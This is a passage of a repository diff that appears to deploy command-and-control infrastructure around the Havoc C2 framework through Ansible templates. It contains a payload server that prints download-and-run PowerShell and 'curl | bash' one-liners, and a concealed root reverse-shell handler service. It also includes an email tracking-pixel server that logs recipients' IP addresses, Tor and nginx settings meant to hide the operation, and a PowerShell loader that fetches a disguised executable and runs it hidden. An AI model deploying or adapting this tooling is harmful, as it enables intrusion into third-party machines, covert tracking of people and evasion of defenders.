cp "$PAYLOADS_DIR/windows/$WIN_DLL" $TEMP_DIR/content/windows/
|
||||
echo "[+] Serving Windows DLL: $WIN_DLL"
|
||||
fi
|
||||
|
||||
if [ -n "$LINUX_BIN" ]; then
|
||||
cp "$PAYLOADS_DIR/linux/$LINUX_BIN" $TEMP_DIR/content/linux/
|
||||
echo "[+] Serving Linux Binary: $LINUX_BIN"
|
||||
fi
|
||||
|
||||
# Copy stagers if they exist
|
||||
if [ -f "$PAYLOADS_DIR/stagers/windows_stager.ps1" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/windows_stager.ps1" $TEMP_DIR/windows_stager.ps1
|
||||
echo "[+] Serving Windows PowerShell stager"
|
||||
fi
|
||||
|
||||
if [ -f "$PAYLOADS_DIR/stagers/linux_stager.sh" ]; then
|
||||
cp "$PAYLOADS_DIR/stagers/linux_stager.sh" $TEMP_DIR/linux_stager.sh
|
||||
echo "[+] Serving Linux bash stager"
|
||||
fi
|
||||
|
||||
# Create helpful index page
|
||||
cat > $TEMP_DIR/index.html << EOL
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Havoc C2 Payload Downloads</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; max-width: 800px; margin: 0 auto; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
.section { margin-bottom: 30px; padding: 20px; background-color: #f8f8f8; border-radius: 5px; }
|
||||
.warning { color: #a00; font-weight: bold; }
|
||||
code { background-color: #eee; padding: 2px 5px; border-radius: 3px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<h1>Havoc C2 Payload Downloads</h1>
|
||||
<div class="section">
|
||||
<h2>Available Payloads</h2>
|
||||
<ul>
|
||||
<li><a href="/content/windows/$WIN_EXE">Windows Payload</a></li>
|
||||
<li><a href="/content/windows/$WIN_DLL">Windows DLL Payload</a></li>
|
||||
<li><a href="/content/linux/$LINUX_BIN">Linux Payload</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Auto-Download Scripts</h2>
|
||||
<ul>
|
||||
<li><a href="/windows_stager.ps1">Windows PowerShell Downloader</a></li>
|
||||
<li><a href="/linux_stager.sh">Linux Bash Downloader</a></li>
|
||||
</ul>
|
||||
</div>
|
||||
<div class="section">
|
||||
<h2>Quick Commands</h2>
|
||||
<p>Windows PowerShell:</p>
|
||||
<code>powershell -exec bypass -c "iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')"</code>
|
||||
<p>Linux Bash:</p>
|
||||
<code>curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash</code>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
EOL
|
||||
|
||||
# Start Python HTTP server in background
|
||||
cd $TEMP_DIR
|
||||
nohup python3 -m http.server $LISTEN_PORT > /dev/null 2>&1 &
|
||||
SERVER_PID=$!
|
||||
echo "[+] Started Havoc payload server with PID $SERVER_PID on $C2_HOST:$LISTEN_PORT"
|
||||
|
||||
# Print useful information for the operator
|
||||
echo "[+] Havoc payload server is now running at http://$C2_HOST:$LISTEN_PORT/"
|
||||
echo "[+] Available payloads:"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_EXE (Windows EXE)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/windows/$WIN_DLL (Windows DLL)"
|
||||
echo " - http://$C2_HOST:$LISTEN_PORT/content/linux/$LINUX_BIN (Linux Binary)"
|
||||
echo ""
|
||||
echo "[+] Quick PowerShell download command:"
|
||||
echo "powershell -exec bypass -c \"iex(New-Object Net.WebClient).DownloadString('http://$C2_HOST:$LISTEN_PORT/windows_stager.ps1')\""
|
||||
echo ""
|
||||
echo "[+] Quick Linux download command:"
|
||||
echo "curl -s http://$C2_HOST:$LISTEN_PORT/linux_stager.sh | bash"
|
||||
@@ -0,0 +1,22 @@
|
||||
#!/bin/bash
|
||||
# Let's Encrypt Certificate Setup Script
|
||||
# Run this after setting up DNS records pointing to this server
|
||||
|
||||
# Replace these with your actual values if needed
|
||||
DOMAIN="{{ domain }}"
|
||||
SUBDOMAIN="{{ redirector_subdomain | default(cdn) }}"
|
||||
EMAIL="admin@${DOMAIN}"
|
||||
|
||||
echo "================================================"
|
||||
echo "Let's Encrypt Certificate Setup"
|
||||
echo "================================================"
|
||||
echo
|
||||
echo "Before running this script, make sure:"
|
||||
echo "1. DNS records are set up correctly"
|
||||
echo " - ${SUBDOMAIN}.${DOMAIN} points to $(curl -s ifconfig.me)"
|
||||
echo "2. Port 80 is open to the internet"
|
||||
echo
|
||||
echo "Run the following command to get your certificate:"
|
||||
echo "certbot --nginx -d ${SUBDOMAIN}.${DOMAIN} --non-interactive --agree-tos -m ${EMAIL}"
|
||||
echo
|
||||
echo "================================================"
|
||||
@@ -0,0 +1,28 @@
|
||||
[Unit]
|
||||
Description=Reverse Shell Handler Service
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=root
|
||||
Group=root
|
||||
ExecStart=/root/Tools/shell-handler/persistent-listener.sh
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Hide process information
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Make shell handler hard to find
|
||||
StandardOutput=null
|
||||
StandardError=null
|
||||
|
||||
# Environment variables (configured via Ansible)
|
||||
Environment="C2_HOST={{ c2_ip | default('127.0.0.1') }}"
|
||||
Environment="LISTEN_PORT={{ shell_handler_port | default('4444') }}"
|
||||
Environment="HAVOC_PORT={{ havoc_teamserver_port | default('40056') }}"
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,221 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Simple Email Tracking Server
|
||||
|
||||
A minimal Flask application that serves transparent tracking pixels
|
||||
and logs email opens with metadata.
|
||||
"""
|
||||
|
||||
import os
|
||||
import json
|
||||
import time
|
||||
import logging
|
||||
from datetime import datetime
|
||||
from flask import Flask, request, send_file, render_template_string
|
||||
|
||||
# Configure logging
|
||||
logging.basicConfig(
|
||||
level=logging.INFO,
|
||||
format='%(asctime)s - %(levelname)s - %(message)s',
|
||||
handlers=[
|
||||
logging.FileHandler('/root/Tools/tracker/data/tracker.log'),
|
||||
logging.StreamHandler()
|
||||
]
|
||||
)
|
||||
|
||||
# Create Flask app
|
||||
app = Flask(__name__)
|
||||
|
||||
# Directory to store tracking data
|
||||
DATA_DIR = '/root/Tools/tracker/data'
|
||||
os.makedirs(DATA_DIR, exist_ok=True)
|
||||
|
||||
# Path to 1x1 transparent pixel
|
||||
PIXEL_PATH = os.path.join(DATA_DIR, 'pixel.png')
|
||||
|
||||
# Create 1x1 transparent PNG if it doesn't exist
|
||||
if not os.path.exists(PIXEL_PATH):
|
||||
from PIL import Image
|
||||
img = Image.new('RGBA', (1, 1), color=(0, 0, 0, 0))
|
||||
img.save(PIXEL_PATH)
|
||||
|
||||
# Path to tracking data
|
||||
TRACKING_DATA_PATH = os.path.join(DATA_DIR, 'tracking_data.json')
|
||||
|
||||
def load_tracking_data():
|
||||
"""Load existing tracking data from JSON file"""
|
||||
if os.path.exists(TRACKING_DATA_PATH):
|
||||
try:
|
||||
with open(TRACKING_DATA_PATH, 'r') as f:
|
||||
return json.load(f)
|
||||
except json.JSONDecodeError:
|
||||
logging.error("Error loading tracking data, starting fresh")
|
||||
return {}
|
||||
|
||||
def save_tracking_data(data):
|
||||
"""Save tracking data to JSON file"""
|
||||
with open(TRACKING_DATA_PATH, 'w') as f:
|
||||
json.dump(data, f, indent=2)
|
||||
|
||||
@app.route('/pixel/<tracking_id>.png')
|
||||
def tracking_pixel(tracking_id):
|
||||
"""Serve a tracking pixel and log the request"""
|
||||
# Get client information
|
||||
user_agent = request.headers.get('User-Agent', 'Unknown')
|
||||
ip_address = request.remote_addr
|
||||
timestamp = datetime.now().isoformat()
|
||||
referer = request.headers.get('Referer', 'Unknown')
|
||||
|
||||
# Log the tracking event
|
||||
logging.info(f"Pixel loaded - ID: {tracking_id}, IP: {ip_address}")
|
||||
|
||||
# Add tracking event to data
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
tracking_data[tracking_id] = []
|
||||
|
||||
tracking_data[tracking_id].append({
|
||||
'timestamp': timestamp,
|
||||
'ip_address': ip_address,
|
||||
'user_agent': user_agent,
|
||||
'referer': referer
|
||||
})
|
||||
|
||||
save_tracking_data(tracking_data)
|
||||
|
||||
# Return the 1x1 transparent pixel
|
||||
return send_file(PIXEL_PATH, mimetype='image/png')
|
||||
|
||||
@app.route('/')
|
||||
def dashboard():
|
||||
"""Display tracking statistics dashboard"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
# Prepare data for the dashboard
|
||||
stats = []
|
||||
for tracking_id, events in tracking_data.items():
|
||||
stats.append({
|
||||
'id': tracking_id,
|
||||
'views': len(events),
|
||||
'last_view': events[-1]['timestamp'] if events else 'Never',
|
||||
'unique_ips': len(set(e['ip_address'] for e in events))
|
||||
})
|
||||
|
||||
# Sort by most views
|
||||
stats.sort(key=lambda x: x['views'], reverse=True)
|
||||
|
||||
# Simple HTML dashboard template
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Email Tracking Dashboard - {{ tracker_domain }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Email Tracking Dashboard</h1>
|
||||
<p>To track email opens, add this HTML to your emails:</p>
|
||||
<pre><img src="https://{{ redirector_domain }}/px/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
<p>Alternatively, use this URL with your C2 server directly:</p>
|
||||
<pre><img src="https://{{ tracker_domain }}/pixel/YOUR_TRACKING_ID.png" height="1" width="1" /></pre>
|
||||
|
||||
<h2>Tracking Statistics</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Tracking ID</th>
|
||||
<th>Views</th>
|
||||
<th>Unique IPs</th>
|
||||
<th>Last View</th>
|
||||
<th>Details</th>
|
||||
</tr>
|
||||
{% for stat in stats %}
|
||||
<tr>
|
||||
<td>{{ stat.id }}</td>
|
||||
<td>{{ stat.views }}</td>
|
||||
<td>{{ stat.unique_ips }}</td>
|
||||
<td>{{ stat.last_view }}</td>
|
||||
<td><a href="/details/{{ stat.id }}">View Details</a></td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(
|
||||
template,
|
||||
stats=stats,
|
||||
tracker_domain="{{ tracker_domain }}",
|
||||
redirector_domain="{{ redirector_subdomain }}.{{ domain }}"
|
||||
)
|
||||
|
||||
@app.route('/details/<tracking_id>')
|
||||
def tracking_details(tracking_id):
|
||||
"""Display detailed tracking information for a specific ID"""
|
||||
tracking_data = load_tracking_data()
|
||||
|
||||
if tracking_id not in tracking_data:
|
||||
return f"No data found for tracking ID: {tracking_id}", 404
|
||||
|
||||
events = tracking_data[tracking_id]
|
||||
|
||||
# Simple HTML template for details
|
||||
template = """
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Tracking Details: {{ tracking_id }}</title>
|
||||
<style>
|
||||
body { font-family: Arial, sans-serif; margin: 0; padding: 20px; }
|
||||
h1, h2 { color: #333; }
|
||||
table { border-collapse: collapse; width: 100%; }
|
||||
th, td { text-align: left; padding: 8px; border-bottom: 1px solid #ddd; }
|
||||
tr:hover { background-color: #f5f5f5; }
|
||||
th { background-color: #4CAF50; color: white; }
|
||||
.container { max-width: 800px; margin: 0 auto; }
|
||||
.back { margin-bottom: 20px; }
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<div class="back"><a href="/">« Back to Dashboard</a></div>
|
||||
<h1>Tracking Details: {{ tracking_id }}</h1>
|
||||
<p>Total views: {{ events|length }}</p>
|
||||
|
||||
<h2>Events</h2>
|
||||
<table>
|
||||
<tr>
|
||||
<th>Time</th>
|
||||
<th>IP Address</th>
|
||||
<th>User Agent</th>
|
||||
<th>Referer</th>
|
||||
</tr>
|
||||
{% for event in events %}
|
||||
<tr>
|
||||
<td>{{ event.timestamp }}</td>
|
||||
<td>{{ event.ip_address }}</td>
|
||||
<td>{{ event.user_agent }}</td>
|
||||
<td>{{ event.referer }}</td>
|
||||
</tr>
|
||||
{% endfor %}
|
||||
</table>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
"""
|
||||
|
||||
return render_template_string(template, tracking_id=tracking_id, events=events)
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=5000, debug=False)
|
||||
@@ -0,0 +1,22 @@
|
||||
# TCP stream configuration for Havoc C2
|
||||
stream {
|
||||
# TCP forwarding for Havoc Teamserver
|
||||
server {
|
||||
listen {{ havoc_teamserver_port | default(40056) }};
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_teamserver_port | default(40056) }};
|
||||
}
|
||||
|
||||
# Additional Havoc ports
|
||||
server {
|
||||
listen {{ havoc_http_port | default(8080) }};
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_http_port | default(8080) }};
|
||||
}
|
||||
|
||||
# HTTPS for Havoc - Using a different port to avoid conflicts with web server
|
||||
server {
|
||||
# Changed from default 443 to 9443 to avoid conflict with Nginx HTTPS
|
||||
listen {{ havoc_https_port | default(9443) }};
|
||||
# Still proxy to the C2's HTTPS port
|
||||
proxy_pass {{ c2_ip }}:{{ havoc_https_port | default(443) }};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
# FlokiNET/templates/torrc.j2
|
||||
#
|
||||
# Tor configuration for C2 server
|
||||
# Hardened configuration for operational security
|
||||
|
||||
# General settings
|
||||
DataDirectory /var/lib/tor
|
||||
RunAsDaemon 1
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
CookieAuthFileGroupReadable 0
|
||||
DisableDebuggerAttachment 1
|
||||
|
||||
# Network settings
|
||||
SOCKSPort 127.0.0.1:9050
|
||||
SOCKSPolicy accept 127.0.0.1/8
|
||||
SOCKSPolicy reject *
|
||||
Log notice file /var/log/tor/notices.log
|
||||
SafeSocks 1
|
||||
TestSocks 0
|
||||
|
||||
# Circuit settings
|
||||
NumEntryGuards 4
|
||||
EnforceDistinctSubnets 1
|
||||
CircuitBuildTimeout 60
|
||||
PathsNeededToBuildCircuits 0.95
|
||||
NewCircuitPeriod 900
|
||||
MaxCircuitDirtiness 1800
|
||||
|
||||
# Security settings
|
||||
StrictNodes 1
|
||||
WarnPlaintextPorts 23,109,110,143,80,21
|
||||
ReachableAddresses *:80,*:443
|
||||
ReachableAddresses reject *:*
|
||||
ReachableAddresses accept *:80
|
||||
ReachableAddresses accept *:443
|
||||
|
||||
# Obfuscation settings
|
||||
Bridge obfs4 {{ bridge_address | default('placeholderbridge.example.org:443') }} {{ bridge_fingerprint | default('PLACEHOLDERFINGERPRINT') }} cert=PLACEHOLDER
|
||||
UseBridges 1
|
||||
ClientTransportPlugin obfs4 exec /usr/bin/obfs4proxy
|
||||
ClientTransportPlugin meek exec /usr/bin/obfs4proxy
|
||||
|
||||
# Exit policy (no exits allowed)
|
||||
ExitPolicy reject *:*
|
||||
|
||||
# DNS resolution
|
||||
AutomapHostsOnResolve 1
|
||||
@@ -0,0 +1,33 @@
|
||||
# templates/tracker-config.j2
|
||||
"""
|
||||
Email Tracker Configuration
|
||||
"""
|
||||
|
||||
# Basic Configuration
|
||||
SECRET_KEY = '{{ lookup("password", "/dev/null chars=ascii_letters,digits length=32") }}'
|
||||
DEBUG = False
|
||||
|
||||
# Database settings
|
||||
DB_NAME = 'tracker.db'
|
||||
|
||||
# Domain configuration
|
||||
DOMAIN = '{{ tracker_domain }}'
|
||||
USE_HTTPS = {{ tracker_setup_ssl | default(true) | lower }}
|
||||
|
||||
# Tracking pixel path
|
||||
TRACKING_PATH = 'pixel.png'
|
||||
|
||||
# API Keys
|
||||
{% if tracker_ipinfo_token is defined and tracker_ipinfo_token != "" %}
|
||||
IPINFO_TOKEN = '{{ tracker_ipinfo_token }}'
|
||||
{% else %}
|
||||
IPINFO_TOKEN = None
|
||||
{% endif %}
|
||||
|
||||
# Notification settings
|
||||
ENABLE_NOTIFICATIONS = False
|
||||
NOTIFICATION_EMAIL = '{{ tracker_email | default("admin@" + domain) }}'
|
||||
|
||||
# Logger configuration
|
||||
LOG_LEVEL = 'INFO'
|
||||
LOG_FILE = '/var/log/tracker.log'
|
||||
@@ -0,0 +1,52 @@
|
||||
server {
|
||||
listen 80;
|
||||
listen [::]:80;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# Redirect to HTTPS if SSL is enabled
|
||||
return 301 https://$host$request_uri;
|
||||
}
|
||||
|
||||
server {
|
||||
listen 443 ssl;
|
||||
listen [::]:443 ssl;
|
||||
server_name {{ tracker_domain }};
|
||||
|
||||
# SSL Configuration
|
||||
ssl_certificate /etc/letsencrypt/live/{{ tracker_domain }}/fullchain.pem;
|
||||
ssl_certificate_key /etc/letsencrypt/live/{{ tracker_domain }}/privkey.pem;
|
||||
|
||||
# Proxy to tracker app
|
||||
location / {
|
||||
proxy_pass http://127.0.0.1:5000;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
}
|
||||
|
||||
# Specific location for tracking pixel
|
||||
location ~ ^/pixel/(.+)\.png$ {
|
||||
proxy_pass http://127.0.0.1:5000/pixel/$1.png;
|
||||
proxy_set_header Host $host;
|
||||
proxy_set_header X-Real-IP $remote_addr;
|
||||
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
|
||||
proxy_set_header X-Forwarded-Proto $scheme;
|
||||
|
||||
# Cache control - don't cache tracking pixels
|
||||
add_header Cache-Control "no-store, no-cache, must-revalidate, proxy-revalidate, max-age=0";
|
||||
expires off;
|
||||
}
|
||||
|
||||
# Security headers
|
||||
add_header X-Content-Type-Options "nosniff" always;
|
||||
add_header X-Frame-Options "SAMEORIGIN" always;
|
||||
add_header X-XSS-Protection "1; mode=block" always;
|
||||
add_header Referrer-Policy "no-referrer" always;
|
||||
|
||||
{% if zero_logs | default(true) %}
|
||||
# Disable logging for privacy
|
||||
access_log off;
|
||||
error_log /dev/null crit;
|
||||
{% endif %}
|
||||
}
|
||||
@@ -0,0 +1,23 @@
|
||||
[Unit]
|
||||
Description=Email Tracking Server
|
||||
After=network.target
|
||||
|
||||
[Service]
|
||||
User=tracker
|
||||
Group=tracker
|
||||
WorkingDirectory=/root/Tools/tracker
|
||||
ExecStart=/root/Tools/tracker/venv/bin/python /root/Tools/tracker/simple_email_tracker.py
|
||||
Restart=always
|
||||
RestartSec=10
|
||||
|
||||
# Security settings
|
||||
PrivateTmp=true
|
||||
ProtectSystem=full
|
||||
NoNewPrivileges=true
|
||||
|
||||
# Hide process information
|
||||
StandardOutput=null
|
||||
StandardError=journal
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
@@ -0,0 +1,16 @@
|
||||
# Windows PowerShell Beacon Loader
|
||||
[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12
|
||||
$ErrorActionPreference = "SilentlyContinue"
|
||||
$wc = New-Object System.Net.WebClient
|
||||
$wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36")
|
||||
$wc.Headers.Add("Accept-Language", "en-US,en;q=0.9")
|
||||
$wc.Headers.Add("Referer", "https://REDIRECTOR_PLACEHOLDER/")
|
||||
$url = "https://REDIRECTOR_PLACEHOLDER/static/js/update.js"
|
||||
$outpath = "$env:TEMP\update-$(New-Guid).exe"
|
||||
try {
|
||||
$wc.DownloadFile($url, $outpath)
|
||||
Start-Sleep -Milliseconds (Get-Random -Minimum 500 -Maximum 3000)
|
||||
Start-Process -WindowStyle Hidden -FilePath $outpath
|
||||
} catch {
|
||||
# Fail silently
|
||||
}
|
||||
Reference in New Issue
Block a user